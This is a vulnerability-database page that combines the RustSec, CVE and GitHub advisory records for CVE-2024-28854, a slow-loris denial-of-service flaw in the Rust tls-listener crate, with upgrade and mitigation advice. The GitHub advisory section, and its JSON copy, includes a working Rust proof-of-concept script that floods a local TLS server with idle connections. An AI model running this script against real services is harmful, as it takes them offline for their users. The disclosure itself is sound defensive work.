Vulnerability-Lookup

rustsec-2024-0341

Vulnerability from osv_rustsec

Published

2024-03-15 12:00

Modified

2024-05-21 02:12

Summary

Slow loris vulnerability with default configuration

Details

tls-listener is a rust lang wrapper around a connection listener to support TLS. With the default configuration of tls-listener, a malicious user can open 6.4 TcpStreams a second, sending 0 bytes, and can trigger a DoS. The default configuration options make any public service using TlsListener::new() vulnerable to a slow-loris DoS attack. This impacts any publicly accessible service using the default configuration of tls-listener in versions prior to 0.10.0. Users are advised to upgrade. Users unable to upgrade may mitigate this by passing a large value, such as usize::MAX as the parameter to Builder::max_handshakes.

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "categories": [
          "denial-of-service"
        ],
        "cvss": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
        "informational": null
      },
      "ecosystem_specific": {
        "affected_functions": null,
        "affects": {
          "arch": [],
          "functions": [
            "tls_listener::TlsListener::new"
          ],
          "os": []
        }
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "tls-listener",
        "purl": "pkg:cargo/tls-listener"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.0.0-0"
            },
            {
              "fixed": "0.10.0"
            }
          ],
          "type": "SEMVER"
        }
      ],
      "versions": []
    }
  ],
  "aliases": [
    "CVE-2024-28854",
    "GHSA-2qph-qpvm-2qf7"
  ],
  "database_specific": {
    "license": "CC0-1.0"
  },
  "details": "tls-listener is a rust lang wrapper around a connection listener to support TLS. With the default configuration of tls-listener, a malicious user can open 6.4 `TcpStream`s a second, sending 0 bytes, and can trigger a DoS. The default configuration options make any public service using `TlsListener::new()` vulnerable to a slow-loris DoS attack. This impacts any publicly accessible service using the default configuration of tls-listener in versions prior to 0.10.0. Users are advised to upgrade. Users unable to upgrade may mitigate this by passing a large value, such as `usize::MAX` as the parameter to `Builder::max_handshakes`.",
  "id": "RUSTSEC-2024-0341",
  "modified": "2024-05-21T02:12:32Z",
  "published": "2024-03-15T12:00:00Z",
  "references": [
    {
      "type": "PACKAGE",
      "url": "https://crates.io/crates/tls-listener"
    },
    {
      "type": "ADVISORY",
      "url": "https://rustsec.org/advisories/RUSTSEC-2024-0341.html"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/tmccombs/tls-listener/security/advisories/GHSA-2qph-qpvm-2qf7"
    }
  ],
  "related": [],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Slow loris vulnerability with default configuration"
}

CVE-2024-28854 (GCVE-0-2024-28854)

Vulnerability from cvelistv5 – Published: 2024-03-15 18:54 – Updated: 2024-08-02 00:56

Title

Slow loris vulnerability with default configuration in tls-listener

Summary

tls-listener is a rust lang wrapper around a connection listener to support TLS. With the default configuration of tls-listener, a malicious user can open 6.4 `TcpStream`s a second, sending 0 bytes, and can trigger a DoS. The default configuration options make any public service using `TlsListener::new()` vulnerable to a slow-loris DoS attack. This impacts any publicly accessible service using the default configuration of tls-listener in versions prior to 0.10.0. Users are advised to upgrade. Users unable to upgrade may mitigate this by passing a large value, such as `usize::MAX` as the parameter to `Builder::max_handshakes`.

Severity ?

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-400 - Uncontrolled Resource Consumption

Assigner

GitHub_M

References

URL

Tags

	https://github.com/tmccombs/tls-listener/security…	x_refsource_CONFIRM
	https://github.com/tmccombs/tls-listener/commit/d…	x_refsource_MISC
	https://en.wikipedia.org/wiki/Slowloris_(computer…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	tmccombs	tls-listener	Affected: < 0.10.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "affected": [
          {
            "cpes": [
              "cpe:2.3:a:tmccombs:tls-listener:*:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "tls-listener",
            "vendor": "tmccombs",
            "versions": [
              {
                "lessThan": "0.10.0",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-28854",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-07-23T17:56:15.552541Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-07-26T20:16:16.669Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:56:58.073Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "name": "https://github.com/tmccombs/tls-listener/security/advisories/GHSA-2qph-qpvm-2qf7",
            "tags": [
              "x_refsource_CONFIRM",
              "x_transferred"
            ],
            "url": "https://github.com/tmccombs/tls-listener/security/advisories/GHSA-2qph-qpvm-2qf7"
          },
          {
            "name": "https://github.com/tmccombs/tls-listener/commit/d5a7655d6ea9e53ab57c3013092c5576da964bc4",
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://github.com/tmccombs/tls-listener/commit/d5a7655d6ea9e53ab57c3013092c5576da964bc4"
          },
          {
            "name": "https://en.wikipedia.org/wiki/Slowloris_(computer_security)",
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://en.wikipedia.org/wiki/Slowloris_(computer_security)"
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "tls-listener",
          "vendor": "tmccombs",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.10.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "tls-listener is a rust lang wrapper around a connection listener to support TLS. With the default configuration of tls-listener, a malicious user can open 6.4 `TcpStream`s a second, sending 0 bytes, and can trigger a DoS. The default configuration options make any public service using `TlsListener::new()` vulnerable to a slow-loris DoS attack. This impacts any publicly accessible service using the default configuration of tls-listener in versions prior to 0.10.0. Users are advised to upgrade. Users unable to upgrade may mitigate this by passing a large value, such as `usize::MAX` as the parameter to `Builder::max_handshakes`.\n\n"
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-400",
              "description": "CWE-400: Uncontrolled Resource Consumption",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2024-03-15T18:54:58.524Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/tmccombs/tls-listener/security/advisories/GHSA-2qph-qpvm-2qf7",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/tmccombs/tls-listener/security/advisories/GHSA-2qph-qpvm-2qf7"
        },
        {
          "name": "https://github.com/tmccombs/tls-listener/commit/d5a7655d6ea9e53ab57c3013092c5576da964bc4",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/tmccombs/tls-listener/commit/d5a7655d6ea9e53ab57c3013092c5576da964bc4"
        },
        {
          "name": "https://en.wikipedia.org/wiki/Slowloris_(computer_security)",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://en.wikipedia.org/wiki/Slowloris_(computer_security)"
        }
      ],
      "source": {
        "advisory": "GHSA-2qph-qpvm-2qf7",
        "discovery": "UNKNOWN"
      },
      "title": "Slow loris vulnerability with default configuration in tls-listener"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2024-28854",
    "datePublished": "2024-03-15T18:54:58.524Z",
    "dateReserved": "2024-03-11T22:45:07.685Z",
    "dateUpdated": "2024-08-02T00:56:58.073Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

GHSA-2QPH-QPVM-2QF7

Vulnerability from github – Published: 2024-03-15 19:57 – Updated: 2025-04-09 19:58

Summary

tls-listener affected by the slow loris vulnerability with default configuration

Details

Summary

With the default configuration of tls-listener, a malicious user can open 6.4 TcpStreams a second, sending 0 bytes, and can trigger a DoS.

Details

The default configuration options make any public service using TlsListener::new() vulnerable to a slow-loris DoS attack.

/// Default number of concurrent handshakes
pub const DEFAULT_MAX_HANDSHAKES: usize = 64;
/// Default timeout for the TLS handshake.
pub const DEFAULT_HANDSHAKE_TIMEOUT: Duration = Duration::from_secs(10);

PoC

Running the HTTP TLS server example: https://github.com/tmccombs/tls-listener/blob/6c57dea2d9beb1577ae4d80f6eaf03aad4ef3857/examples/http.rs, then running the following script will prevent new connections to the server.

use std::{net::ToSocketAddrs, time::Duration};
use tokio::{io::AsyncReadExt, net::TcpStream, task::JoinSet};

#[tokio::main]
async fn main() {
    const N: usize = 1024;
    const T: Duration = Duration::from_secs(10);

    let url = "127.0.0.1:3000";
    let sockets: Vec<_> = url
        .to_socket_addrs()
        .unwrap()
        .inspect(|s| println!("{s:?}"))
        .collect();

    let mut js = JoinSet::new();

    let mut int = tokio::time::interval(T / (N as u32) / (sockets.len() as u32));
    int.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Burst);
    for _ in 0..10000 {
        for &socket in &sockets {
            int.tick().await;
            js.spawn(async move {
                let mut stream = TcpStream::connect(socket).await.unwrap();
                let _ = tokio::time::timeout(T, stream.read_to_end(&mut Vec::new())).await;
            });
        }
    }

    while js.join_next().await.is_some() {}
}

Impact

This is an instance of a slow-loris attack. This impacts any publically accessible service using the default configuration of tls-listener

Mitigation

Previous versions can mitigate this by passing a large value, such as usize::MAX as the parameter to Builder::max_handshakes.

Severity ?

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.9.1"
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "tls-listener"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.10.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-28854"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-03-15T19:57:22Z",
    "nvd_published_at": "2024-03-15T19:15:07Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nWith the default configuration of tls-listener, a malicious user can open 6.4 `TcpStream`s a second, sending 0 bytes, and can trigger a DoS.\n\n### Details\nThe default configuration options make any public service using `TlsListener::new()` vulnerable to a slow-loris DoS attack.\n\n```rust\n/// Default number of concurrent handshakes\npub const DEFAULT_MAX_HANDSHAKES: usize = 64;\n/// Default timeout for the TLS handshake.\npub const DEFAULT_HANDSHAKE_TIMEOUT: Duration = Duration::from_secs(10);\n```\n\n### PoC\n\nRunning the HTTP TLS server example: https://github.com/tmccombs/tls-listener/blob/6c57dea2d9beb1577ae4d80f6eaf03aad4ef3857/examples/http.rs, then running the following script will prevent new connections to the server.\n\n```rust\nuse std::{net::ToSocketAddrs, time::Duration};\nuse tokio::{io::AsyncReadExt, net::TcpStream, task::JoinSet};\n\n#[tokio::main]\nasync fn main() {\n    const N: usize = 1024;\n    const T: Duration = Duration::from_secs(10);\n\n    let url = \"127.0.0.1:3000\";\n    let sockets: Vec\u003c_\u003e = url\n        .to_socket_addrs()\n        .unwrap()\n        .inspect(|s| println!(\"{s:?}\"))\n        .collect();\n\n    let mut js = JoinSet::new();\n\n    let mut int = tokio::time::interval(T / (N as u32) / (sockets.len() as u32));\n    int.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Burst);\n    for _ in 0..10000 {\n        for \u0026socket in \u0026sockets {\n            int.tick().await;\n            js.spawn(async move {\n                let mut stream = TcpStream::connect(socket).await.unwrap();\n                let _ = tokio::time::timeout(T, stream.read_to_end(\u0026mut Vec::new())).await;\n            });\n        }\n    }\n\n    while js.join_next().await.is_some() {}\n}\n\n```\n\n### Impact\n\nThis is an instance of a [slow-loris attack](https://en.wikipedia.org/wiki/Slowloris_(computer_security)). This impacts any publically accessible service using the default configuration of `tls-listener`\n\n\n### Mitigation\n\nPrevious versions can mitigate this by passing a large value, such as `usize::MAX` as the parameter to `Builder::max_handshakes`.",
  "id": "GHSA-2qph-qpvm-2qf7",
  "modified": "2025-04-09T19:58:53Z",
  "published": "2024-03-15T19:57:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tmccombs/tls-listener/security/advisories/GHSA-2qph-qpvm-2qf7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-28854"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tmccombs/tls-listener/commit/d5a7655d6ea9e53ab57c3013092c5576da964bc4"
    },
    {
      "type": "WEB",
      "url": "https://en.wikipedia.org/wiki/Slowloris_(computer_security)"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tmccombs/tls-listener"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tmccombs/tls-listener/releases/tag/v0.10.0"
    },
    {
      "type": "WEB",
      "url": "https://rustsec.org/advisories/RUSTSEC-2024-0341.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "tls-listener affected by the slow loris vulnerability with default configuration"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

rustsec-2024-0341

Vulnerability from osv_rustsec

CVE-2024-28854 (GCVE-0-2024-28854)

GHSA-2QPH-QPVM-2QF7

Summary

Details

PoC

Impact

Mitigation

Tags

Sightings

Nomenclature